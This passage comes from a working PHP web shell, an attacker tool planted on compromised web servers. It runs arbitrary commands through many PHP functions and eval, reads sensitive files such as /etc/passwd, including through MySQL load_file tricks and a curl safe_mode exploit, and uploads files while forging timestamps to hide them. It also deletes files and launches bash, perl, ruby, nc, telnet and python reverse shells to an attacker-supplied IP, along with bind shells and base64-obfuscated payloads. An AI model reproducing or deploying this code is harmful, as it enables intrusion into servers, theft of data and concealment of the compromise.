659 <input name="wut" value="eval" type="hidden"></form>';
660 break;
661 case "pcntl":
662 //sploent516 not needed coz pcntl bypasses safe_mode
663 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="'.$_POST["pcfile"].'">';
664 if (is_writable("./")) {
665 echo "<font color=\"green\">(./ writable)</font>";
666 } else {
667 echo "<font color=\"red\">(./ readonly)</font>";
668 }
669 echo ' <br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
670 break;
671 case "ssh2":
672 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> host: <input name="ssh2host" type="text" size="20" value="'.$_POST["ssh2host"].'"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="'.$_POST["ssh2port"].'"> user: <input name="ssh2user" type="text" size="20" value="'.$_POST["ssh2user"].'"> password: <input name="ssh2pass" type="text" size="20" value="'.$_POST["ssh2pass"].'"> </font><br><font color="green"> haxor@pwnedbox$ </font> <input name="command" type="text" size="40" value="'.$shelltext.'"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
673 break;
674 }
675 }
676 }
677 if (!empty($_POST["wut"])) {
678 if ($download != "1") {
679 echo "<textarea cols=\"80\" rows=\"40\">";
680 }
681 switch ($_POST["wut"]) {
682 case "passthru":
683 passthru($_POST["command"]." 2>&1");
684 break;
685 case "system":
686 system($_POST["command"]." 2>&1");
687 break;
688 case "exec":
689 exec($_POST["command"]." 2>&1",$out);
690 print_r($out);
691 break;
692 case "shell_exec":
693 $out=shell_exec($_POST["command"]." 2>&1");
694 echo "$out";
695 break;
696 case "popen":
697 $hndl=popen($_POST["command"]." 2>&1", "r");
698 $read=stream_get_contents($hndl);
699 echo $read;
700 pclose($hndl);
701 break;
702 case "proc_open":
703 $process = proc_open('/bin/sh', $descriptorspec, $pipes);
704 if (is_resource($process)) {
705 fwrite($pipes[0],$_POST["command"]);
706 fclose($pipes[0]);
707 echo stream_get_contents($pipes[1]);
708 fclose($pipes[1]);
709 echo stream_get_contents($pipes[2]);
710 fclose($pipes[2]);
711 @proc_close($process);
712 }
713 break;
714 case "pcntl":
715 $shelltext=$_POST["command"];
716 switch (pcntl_fork()) {
717 case 0:
718 pcntl_exec($_POST["inter"],array("-c","".$_POST["command"]." ".$_POST["to"]." ".$_POST["pcfile"]));
719 exit(0);
720 default:
721 break;
722 }
723 sleep(1);
724 $fh=fopen("".$_POST["pcfile"]."","r");
725 if (!$fh) { echo "can`t fopen ".$_POST["pcfile"].", seems that we failed :("; }
726 else {
727 $rezult=fread($fh,filesize($_POST["pcfile"]));
728 fclose($fh);
729 echo $rezult;
730 if ($_POST["delrezult"] == "on") { unlink($_POST["pcfile"]); }
731 }
732 break;
733 case "eval":
734 eval($_POST["command"]);
735 break;
736 case "ssh2":
737 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?");
738 //using knowingly wrong username to test auth. methods
739 $auth_methods = ssh2_auth_none($connection, '12309tezt');
740 if (in_array('password', $auth_methods)) {
741 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?"); //need to connect again after failed login
742 if (ssh2_auth_password($connection, ''.$_POST["ssh2user"].'', ''.$_POST["ssh2pass"].'')) {
743 $stream=ssh2_exec($connection, $shelltext);
744 stream_set_blocking($stream, true);
745 $data = "";
746 while ($buf = fread($stream,4096)) {
747 $data .= $buf;
748 }
749 fclose($stream);
750 echo $data;
751 } else {
752 echo "cant login. user/pass wrong?";
753 }
754 } else {
755 echo 'fail, no "password" auth method';
756 }
757 break;
758 }
759 if ($download != "1") {
760 echo "</textarea>";
761 }
762 }
763 break;
764// --------------------------------------------- shell end; file operations
765 case "f":
766 if ($download != "1") {
767 echo $title;
768 echo "<font color=\"gray\">";
769 echo "current dir: ".$_SERVER["DOCUMENT_ROOT"]."<br>";
770 sploent516();
771 echo "<br>--------------------------------<br></font>";
772 }
773 if (empty($_POST["filer"]) and $download != "1") {
774 $ololotext="/home/USER/public_html/DOMAIN/index.php";
775 echo '<font color="blue">---> read file </font><br>';
776 echo "php file_get_contents:<br>";
777 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
778 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
779 //curl
780 if (strnatcmp(version(),"5.2.9") <= 0) {
781 echo "<br> curl exploit: <br>";
782 if (!extension_loaded('curl')) {
783 echo " fail, curl is required<br>";
784 } else {
785 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
786 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
787 }
788 }
789 } else {
790 switch ($_POST["filer"]) {
791 case "php":
792 $ololotext=($_POST["filename"]);
793 if ($download != "1") {
794 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
795 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
796 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
797 }
798 if (!empty($_POST["filename"])) {
799 if ($download != "1") {
800 echo '<font color="gray">';
801 echo "<textarea cols=\"80\" rows=\"40\">";
802 }
803 $contents=file_get_contents($_POST["filename"]) or die("failed. bad permissions or no such file?");
804 echo $contents;
805 if ($download != "1") {
806 echo "</textarea>";
807 }
808 die();
809 }
810 break;
811 case "curl":
812 $ololotext=($_POST["filename"]);
813 if ($download != "1") {
814 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
815 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
816 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
817 }
818 if (!empty($_POST["filename"])) {
819 if ($download != "1") {
820 echo '<font color="gray">';
821 echo "<textarea cols=\"80\" rows=\"40\">";
822 }
823 sploent529($_POST["filename"]);
824 }
825 break;
826 }
827 }
828 // curl + file_get_contents end
829 if ($download != "1") {
830 echo "<br>mysql:<br>";
831 if (empty($_POST["sqlr"])) {
832 $user="root";
833 $pass="12345";
834 $db="test";
835 $host="localhost";
836 $port="3306";
837 $file="/etc/passwd";
838 } else {
839 $user=$_POST['user'];
840 $pass=$_POST['pass'];
841 $db=$_POST['db'];
842 $host=$_POST['host'];
843 $port=$_POST['port'];
844 $file=$_POST['file'];
845 }
846 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"> database <input name="db" type="text" maxlength="500" size="10" value="'.$db.'"><font color="gray">(needed for `load data infile`)</font><br><input name="wut" value="load_file" type="radio" checked>load_file<br><input name="wut" value="infile" type="radio">load data infile <font color="gray">(use it for binary files)</font><br><input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlr" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
847 if (!empty($_POST["sqlr"])) {
848 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error());
849 switch ($_POST['wut']) {
850 case "load_file":
851 $q='SELECT load_file("'.$_POST["file"].'")';
852 $rez=mysql_query($q,$link) or die("query error:".mysql_error());
853 echo "result:<br>";
854 echo "<textarea cols=\"80\" rows=\"20\">";
855 echo mysql_result($rez,0);
856 echo "</textarea><br>";
857 break;
858 case "infile":
859 mysql_select_db($db) or die ("cannot select db: ".mysql_error());
860 mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error());
861 mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error());
862 $rez=mysql_query("SELECT * FROM file;");
863 if (!$rez) { echo "fail. permission denied?<br>"; }
864 else {
865 for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
866 $f = "";
867 while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
868 if (empty($f)) {
869 echo "file does not exists or empty?<br>";
870 } else {
871 echo "result:<br>";
872 // code from c99shell madnet edition
873 $n = 0;
874 $a0 = "00000000<br>";
875 $a1 = "";
876 $a2 = "";
877 for ($i=0; $i<strlen($f); $i++) {
878 $a1 .= sprintf("%02X",ord($f[$i]))." ";
879 switch (ord($f[$i])) {
880 case 0: $a2 .= "<font>0</font>"; break;
881 case 32:
882 case 10:
883 case 13: $a2 .= " "; break;
884 default: $a2 .= htmlspecialchars($f[$i]);
885 }
886 $n++;
887 if ($n == 24) {
888 $n = 0;
889 if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
890 $a1 .= "<br>";
891 $a2 .= "<br>";
892 }
893 }
894 echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
895 }
896 mysql_free_result($result);
897 mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error());
898 }
899 die();
900 break;
901 }
902 mysql_close($link);
903 }
904 }
905 // mysql read file end. upload
906 if ($download != "1") {
907 echo '<br><font color="blue">---> upload file</font><br>';
908 if (!ini_get('file_uploads')) {
909 echo "file_uploads Off";
910 } else {
911 echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>";
912 echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>";
913 echo "</font>";
914 if (is_writable("./")) {
915 echo "<font color=\"green\">./ writable</font>";
916 } else {
917 echo "<font color=\"red\">./ readonly</font>";
918 }
919 if (!isset($_POST["dir"])) {
920 $upto=".";
921 } else {
922 $upto=$_POST["dir"];
923 }
924 echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
925 echo '</form>';
926 if (!empty($_POST["upload"])) {
927 if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
928 {
929 echo "upload ok";
930 $dirtime=filemtime($_POST['filedir']);
931 if (!empty($_POST["upname"])) {
932 $upname=$_POST["upname"];
933 } else {
934 $upname=$_FILES["sourcefile"]["name"];
935 }
936 move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>");
937 echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
938 touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>");
939 echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
940 touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>");
941 echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
942 } else {
943 echo("<br>upload failed!<br>");
944 }
945 }
946 }
947 echo "<br>";
948 echo '<font color="blue">---> edit file</font><br>';
949 if (!empty($_POST["edit"])) {
950 $filee=trim($_POST["filee"]);
951 $files=trim($_POST["files"]);
952 } else {
953 $filee="/etc/passwd";
954 if (empty($_POST["dir"])) {
955 $dir="./";
956 } else {
957 $dir=$_POST["dir"]."/";
958 }
959 $files=$dir."cache.txt";
960 }
961 echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
962 }
963 if (!empty($_POST["edit"])) {
964 $filee=trim($_POST["filee"]);
965 $oldtime=@filemtime($filee);
966 $files=trim($_POST["files"]);
967 if (!file_exists($files)) {
968 if (!fopen($files,'a+')) {
969 echo '<font color="red">'.$files.' isnt writable! (cannot open "a+")<br></font>';die();
970 } else {
971 if (!file_exists($filee)) {
972 echo '<font color="gray"> no file '.$filee.', I`ll create new '.$files.'.</font><br>';
973 } else {
974 echo '<font color="gray"> no file '.$files.', I`ll create new '.$files.'.</font><br>';
975 }
976 fclose($files);
977 unlink($files);
978 }
979 } else {
980 if (!is_writable($files)) {
981 $chmoded=substr(sprintf('%o',fileperms($files)), -4);
982 echo '<font color="gray">'.$files.' chmod '.$chmoded.', trying to chmod 0666</font>';
983 chmod($files, 0666) or die ('<font color="red"><br>cannot chmod '.$files.' 666!');
984 echo '<font color="gray"> ...done</font>';
985 }
986 }
987 if (!empty($_POST["edt"])) {
988 $filec=file_get_contents($filee);
989 if (empty($filec)) {
990 echo '<font color="red">cannot get '.$filee.' contents!</font>';
991 }
992 if (isset($_POST['filec'])) {
993 $filec=$_POST['filec'];
994 $fh=fopen($files,"w+") or die ('<font color="red">cannot fopen "w+"!</font>');
995 fputs($fh,$filec);
996 fclose($fh) or die ('<font color="red">cannot save file!</font>');
997 if (isset($_POST['chmoded'])) {
998 echo "chmoding to old perms(".trim($_POST['chmoded']).")<br>";
999 $perms = 0;
1000 for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
1001 $perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
1002 chmod($files, $perms);
1003 }
1004 $date=explode(" ",$_POST["touch"]);
1005 $day=explode("-",$date[0]);
1006 $time=explode(":",$date[1]);
1007 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
1008 @touch($files,$unixtime,$unixtime);
1009 die('<br><font color="green"> -> '.$files.' saved!</font>');
1010 }
1011 if (empty($oldtime)) {
1012 $ttime=time();
1013 } else {
1014 $ttime=$oldtime;
1015 }
1016 echo '<form action="'.$_SERVER["PHP_SELF"].'" method="post">enter touch time: <input name="touch" type="text" maxlength="19" size="19" value="'.date("Y-m-d H:i:s",$ttime).'"><br><textarea cols="80" rows="20" name="filec">'.$filec.'</textarea><input name="filee" type="hidden" value="'.$filee.'"><input name="p" type="hidden" value="f"><input name="files" type="hidden" value="'.$files.'">';
1017 if (isset($chmoded)) {
1018 echo '<input name="chmoded" type="hidden" value="'.$chmoded.'">';
1019 }
1020 echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
1021 }
1022 die();
1023 }
1024 if ($download != "1") {
1025 echo "<br>";
1026 echo '<font color="blue">---> filemanager</font><br>';
1027 }
1028 if ($action=="viewer") {
1029 if (!isset($dir)) {
1030 $dir=getcwd();
1031 }
1032 scandire($_POST["dir"]);
1033 }
1034 if ($action=="download") {
1035 readfile($_POST["file"]);
1036 }
1037 if ($action=="chmod") {
1038 chmodz($_POST["file"]);
1039 }
1040 if ($action=="touch") {
1041 touchz($_POST["file"]);
1042 }
1043 if ($action == 'delete') {
1044 if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1045 }
1046 if ($action == 'deletedir') {
1047 if (!rmrf($_POST["file"])) {
1048 $content .="error deleting dir ".$_POST["file"].", <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1049 } else {
1050 $content .="dir ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1051 }
1052 }
1053 if (!empty($content)) {
1054 echo $content;
1055 }
1056 if ($download != "1") {
1057 echo '<br>';
1058 echo '<form name="reqs" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="action" type="hidden" value=""><input name="dir" type="hidden" value=""><input name="file" type="hidden" value=""><input name="p" type="hidden" value="f"></form>';
1059 }
1060 break;
1061// --------------------------------------------- file end; bind
1062 case "b":
1063 echo $title;
1064 echo '<a href="#" onclick="showTooltip(1)" id="link"> >> help << </a>
1065 <div id="1" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">
1066 you could get almost-interactive shell in bind/backconnect with help of these commands<br>
1067 -> if there is python on the server, run: <br>
1068 python -c \'import pty; pty.spawn("/bin/bash")\'<br>
1069 -> ruby:<br>
1070 ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'<br>
1071 -> expect:<br>
1072 expect -c \'spawn sh;interact\'<br>
1073 -> policycoreutils package:<br>
1074 open_init_pty bash<br><br>
1075 //thanks to tex from rdot.org<br><br>
1076 for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.<br><br>
1077 //thanks to Bernardo Damele and pentestmonkey.net<br><br>
1078 if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset<br>
1079 </div><br><br>';
1080 if ($failflag=="1") {
1081 echo "fail, at least one system function needed!<br><br>";
1082 } else {
1083 $nc='<font color="gray">(dont forget to setup nc <b>first</b>!)</font>';
1084 $semi='<font color="gray">dont forget to write <b>;</b> at the end of command!</font>';
1085 sploent516();
1086 echo "<br>"; //debug: sometimes page cut here, when passthru system shell_exec are disabled
1087 echo '<font color="green"> - - - - = = = = > > one-liners</font><br><a href="#" onclick="showTooltip(4)" id="link4"> >> show code << </a>
1088 <div id="4" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none"><textarea cols="80" rows="20">
1089'.gzinflate(base64_decode("nZLRq5swFMbf/SsOIq0Bjbfdm6lCue1Axr0t1bcxShvjKtUkJHZdWbe/fYkWrhv3YezFk3zE7/yS7xwP+hQ78LSYzOYfCPvOKJjFIo1K9i3qqIyyLV6uVni3xnkebTe7goA+QX8c0v4774vjSKYaY2ULhC/ZBkIGU08mlVBn41x3QV35nkTEowlnV8g2cZwLemZdHGev68LfMqaWZakCd9w0tk1dRPJilb2GaVUKybjv0UAZp19j4YqIvumOtd4erqe6YYuUTB1HXY43w2ULhEr3HXs2ywR1BT0gTYrn7YCDDZ3/B4MbuA+K3tenbZlQ/JV1GpFsg2VPYMTAVS76ca/FnWKpam7sBVbsUP5kvDQonFqQFsIKoq6VEeaUlwTaMxflSAEJkwlwCmMGsAQmqNGxO0THmkcmj1n6JjtOxxpuXvXfWw0//G87eetOgtvo+wWEFKZ1K4XqYHjtQF+OUgnKtA6EJjoZZDwU/7FbftzbMQge23zz/GmfF7v18sXkiqngnNHO/zsYi4kQERqXFzn3Na5MQFz4KHhCBN6RZ+/Lc0Rk8saJ6aFp/M/u48ZmAMLa/YLsPP0G")).'</textarea></div><br>';
1090 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"><input name="p" type="hidden" value="b"> using <br>';
1091 $searchvar=trim(search("bash",$failflag));
1092 if (empty($searchvar)) {
1093 echo "fail, no bash here<font color=\"gray\"> (lolwut?)</font><br>";
1094 } else {
1095 echo ' bash <input name="wut" value="bash" type="radio" checked><br>';
1096 }
1097 $searchvar=trim(search("perl",$failflag));
1098 if (empty($searchvar)) {
1099 echo "fail, no perl here<br>";
1100 } else {
1101 echo ' perl <input name="wut" value="perl" type="radio"><br>';
1102 }
1103 $searchvar=trim(search("ruby",$failflag));
1104 if (empty($searchvar)) {
1105 echo "fail, no ruby here<br>";
1106 } else {
1107 echo ' ruby <input name="wut" value="ruby" type="radio"><br>';
1108 }
1109 $searchvar=trim(search("nc",$failflag));
1110 if (empty($searchvar)) {
1111 echo "fail, no nc here<br>";
1112 } else {
1113 echo ' nc <input name="wut" value="nc" type="radio"><br>';
1114 }
1115 $searchvar=trim(search("telnet",$failflag));
1116 if (empty($searchvar)) {
1117 echo "fail, no telnet here<br>";
1118 } else {
1119 echo ' telnet <input name="wut" value="telnet" type="radio"><br>';
1120 }
1121 $searchvar=trim(search("python",$failflag));
1122 if (empty($searchvar)) {
1123 echo "fail, no python here<br>";
1124 } else {
1125 echo ' python <input name="wut" value="python" type="radio"><br>';
1126 }
1127 echo '<br><input type="hidden" name="oneline" value="oneline"><input type="submit" value="go"></form><br>';
1128 if (!empty($_POST["oneline"])) {
1129 switch ($_POST["wut"]) {
1130 case "bash":
1131 $c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
1132 run($c);
1133 echo "done<br>";
1134 break;
1135 case "perl":
1136 $c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
1137 run($c);
1138 echo "done<br>";
1139 break;
1140 case "ruby":
1141 $c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
1142 run($c);
1143 echo "done<br>";
1144 break;
1145 case "nc":
1146 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd';
1147 run($c);
1148 echo "done<br>";
1149 break;
1150 case "telnet":
1151 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd';
1152 run($c);
1153 echo "done<br>";
1154 break;
1155 case "python":
1156 $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
1157 run($c);
1158 echo "done<br>";
1159 break;
1160 }
1161 }
1162 echo '<font color="green">- - - - = = = = > > classic</font><br>';
1163 echo '<font color="blue">---> PHP </font><br>';
1164 if (!function_enabled('set_time_limit')) { echo '<font color="gray">warning! set_time_limit off!</font><br>'; }
1165 if (!function_enabled('ignore_user_abort')) { echo '<font color="gray">warning! ignore_user_abort off!</font><br>'; }
1166 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$semi.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phplocal"></form>';
1167 if (function_enabled('fsockopen')) {
1168 if (function_enabled('proc_open')) {
1169 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$nc.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phpremote"></form><br>';
1170 } else { echo 'fail, proc_open is needed for backconnect!<br><br>'; }
1171 } else { echo 'fail, fsockopen is needed for backconnect!<br><br>'; }
1172 //php end
1173 echo '<font color="blue">---> PERL </font><br>';
1174 $searchvar=trim(search("perl",$failflag));
1175 if (empty($searchvar)) {
1176 echo "fail, no perl here<br>";
1177 } else {
1178 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perllocal"><input name="p" type="hidden" value="b"> ';
1179 if (is_writable("./")) {
1180 echo "<font color=\"green\">(./ writable)</font>";
1181 } else {
1182 echo "<font color=\"red\">(./ readonly)</font>";
1183 }
1184 echo '<br>'.$semi.'</form>';
1185 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perlremote"><input name="p" type="hidden" value="b"><br>'.$nc.'<br></form>';
1186 }
1187 //perl end
1188 echo "<br>";
1189 echo '<font color="blue">---> PYTHON </font><br>';
1190 $searchvar=trim(search("python",$failflag));
1191 if (empty($searchvar)) {
1192 echo "fail, no python here<br>";
1193 } else {
1194 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="pylocal"><input name="p" type="hidden" value="b"> ';
1195 if (is_writable("./")) {
1196 echo "<font color=\"green\">(./ writable)</font>";
1197 } else {
1198 echo "<font color=\"red\">(./ readonly)</font>";
1199 }
1200 echo '<br>'.$semi.'</form>';
1201 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyremote"><br>'.$nc.'<br></form>';
1202 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">fully interactive backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyint"><br></form>';
1203 echo '<font color="gray">you need to run special client first: <a href="#" onclick="showTooltip(2)" id="link2"> >> show code << </a><br>with this one you will be able to run mc, top, vim, etc</font>
1204 <div id="2" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1205 echo '<br>usage: python client.py [host] [port], then input there ^^^^ your host and port.<br>do not remove whitespace!<br>if you see "TERM is not set", run command: export TERM=linux<br>';
1206 echo "<textarea cols=\"80\" rows=\"20\">";
1207 echo gzinflate(base64_decode('dVLBbhoxFLzvV0ypUHcly5BWvaDmEKVEQm1BKhv1sEFou/sAKxsb2U4Ifx8/mySEKAfWsj0zb2bM58G9s4P/Sg9IP2C79xujM3W3NdbDmeaWvMDW7wU8fxx11IQTt3cCxmVqhY50zntZ2/UDCvzAt1GGrVXao3ft6jWN0HeoNsb5BSoWXvTQxyupGi5QZNQ5CkSG4RzO2yPAGQMQPZ0jCB9dfY1X7JRZ0bBMS/68vbhaTqbjUjzv57PLX8t5+Xd88Ye53u7D3HgpQw9tjpxNiDivYES665TznPU7H9FjQ1vPvEPSy1p/8WA+Pt3oXsZ9SUfe1rucC5Tz8udkurya/B5PZ6yw26iOUNp7OlL5Vyuv9BorY0POxtzxxuhQ4KjvpJQ3NlZ35C9w84b9CdRta4tDC7Ju2GBevGrPboNA3yWJ2C8TYr63XmAFdgLEUvG9ZVpyVIij5CrAtckL8T7ZQqCKvyiM8Ad5SwmxYOMUtDU/p3HSUh1aP5U+Gw6HSYQxO6s8vTQ5uy4PA0WUSbAwTBvPB2nAy9t0isLadMZRi8ZoHdIoo0MVCUePKlXFEu8ifej4FPmB59NgyfAT'));
1208 echo "</textarea><br>";
1209 echo '</div><br>';
1210 }
1211 //python end
1212 echo "<br>";
1213 echo '<font color="blue">---> C </font><br>';
1214 $searchvar=trim(search("gcc",$failflag));
1215 if (empty($searchvar)) {
1216 echo "fail, no gcc here<br>";
1217 } else {
1218 echo '<font color="gray">don\'t remove ".c" file extension! compiler= '.$searchvar.'</font><br>';
1219 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd.c"><input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="clocal"> ';
1220 if (is_writable("./")) {
1221 echo "<font color=\"green\">(./ writable)</font>";
1222 } else {
1223 echo "<font color=\"red\">(./ readonly)</font>";
1224 }
1225 echo '<br>'.$semi.'</form>';
